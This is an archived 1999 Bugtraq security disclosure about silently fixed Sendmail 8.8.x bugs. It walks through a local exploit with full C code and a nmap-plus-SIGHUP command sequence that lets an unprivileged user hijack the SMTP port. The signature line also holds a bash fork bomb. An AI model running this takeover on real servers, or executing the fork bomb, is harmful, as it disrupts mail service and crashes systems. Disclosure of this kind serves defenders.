[LWN Logo]

Date:         Thu, 15 Jul 1999 07:54:07 +0200
From: Michal Zalewski <lcamtuf@IDS.PL>
Subject:      Sendmail 8.8.x - time to upgrade?
To: BUGTRAQ@SECURITYFOCUS.COM

Seems to me there's something really bad about software vendors. First of
all, if author of program finds bug in it - even when this bug seems to be
nasty - very often, he'll silently fix it, even without mentioning it in
CHANGES (blessed those who put there text like 'some security fixes', at
least there's ANY evidence of changes) nor anywhere else - 'aah, why
people should know I've made a mistake, now everything is fixed, so no
need to worry'. Direct result: a lot of people live in conviction their
systems are secure, because even if they don't have newest version of
favourite software, there's no reason to upgrade so fast. One day, one of
these obsessed hackers will do diff of recent and previous version and
*WILL* find this bug, anyway, making much more mess than if people were
warned before. Examples? Bash 1.14.7 vs 2.0.x and 0xff character
(described in one of my previous postings) - and Sendmail 8.8.x vs 8.9.x -
see below.

Another bad thing about authors of distributions - they usually. Good
words to RedHat - their advisories and packages with supplied .diff files
are quite good. Flames to Slackware - they did really good work, but seems
to me they feel not obliged to inform people about fixes the way RH does.
Sometimes I get really surprised when I find out that a lot of security
holes present in eg. RH are not present in Slackware, but there's no any
information about bugfixes etc.

Facts. Many administrators still uses Sendmail 8.8.x (usually 8.8.8) as
more 'stable and secure' release, believing there are no major bugs in it.
Unfortunately, there are some bugs fixed silently till 8.9.3 release -
and, just like in bash case, never mentioned in CHANGES nor in security
advisories.

Major bug is conjunction of three improper things in Sendmail 8.8.x:

- Sendmail 8.8.8 (fixed in 8.9.3, no info about other releases) won't
  allow '-bd' parameter (run as daemon) if launched by luser. But '-bD'
  parameter (run as daemon, but in foreground) works perfectly. This
  has been fixed without any info in development history file.

- Sendmail 8.8.8 (fixed in 8.9.1, mentioned in history, as exploit
  has been published on BUGTRAQ) has minor problem on Linux 2.0.xx
  platforms - if accept() fails, it will close listen sockets, log
  error and sleep for 5 seconds. Easiest way to cause this behaviour:

  attacker# nmap -sS -P0 -p 25 destination_host

  As it has no serious implications for site security, probably a lot
  of people didn't even thought about upgrading Sendmail due to this
  bug.

- there's unpublished, and theoretically harmless bug - when
  Sendmail daemon receives HUP, it does execve(argv[0],...) to
  restart itself. Unfortunately, 4th file descriptor (listen socket)
  isn't closed before execve.

What can we do with these bugs together? Look:

victim$ cd /tmp
victim$ cat >test.c <<EOF

#include <netinet/in.h>
#include <fcntl.h>

#define SERV_FD 4

main() {
  struct sockaddr_in saddr;
  int csock,i=sizeof(saddr);
  while (1) {
    while ((csock=accept(SERV_FD,&saddr,&i))<0);
    if (!fork()) {
      dup2(csock,0);
      dup2(csock,1);
      dup2(csock,2);
      printf("220 Takeover ESMTP mail service - road closed.\n");
      fflush(0);
      sleep(1);
      shutdown(csock,2);
      close(csock);
      exit(0);
    }
  }
}
EOF

victim$ gcc test.c -o test

Now, we have only 5sec interval to execute two following commands, so be
hurry (probably you'll have to prepare and test it... or to write some
kind of script ;)...

attacker# nmap -p 25 -sS -P0 -n victim

Zoink! With lightspeed, we should enter the following on victim machine:

victim$ doexec /usr/sbin/sendmail /tmp/test -bD

Note: doexec is handful utility shipped with RH to set arbitrary argv[0]
of programs. Source for this proggy seems to be similar to:

main(int argc, char* argv[]) { return execvp(argv[0],&argv[1]); }

If you'll see 'Address already in use', you're probably too slow ;) Let's
switch to another tty and see what have we here (should be our foreground
daemon, while old, background daemon won't be able to bind() to port 25
anymore):

victim$ nc 127.0.0.1 25
220 Marchew ESMTP Mail Service at nimue.ids.pl ready.
quit
221 nimue.ids.pl closing connection

Hmm, what about sending SIGHUP to our foreground daemon... It will execute
/tmp/test instead of itself. Nothing dangerous, as extra privledges are
dropped... But we'll inherit descriptor to listen socket!

victim$ killall -HUP sendmail

What happened? Hmmm....

victim$ nc 127.0.0.1 25
220 Takeover ESMTP mail service - road closed.
victim$

Aghr ;P

_______________________________________________________________________
Michal Zalewski [lcamtuf@ids.pl] [link / marchew] [dione.ids.pl SYSADM]
[Marchew Industries] ! [http://lcamtuf.na.export.pl] bash$ :(){ :|:&};:
[voice phone: +48 22 813 25 86] <=-=> [cellular phone: +48 501 4000 69]
Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]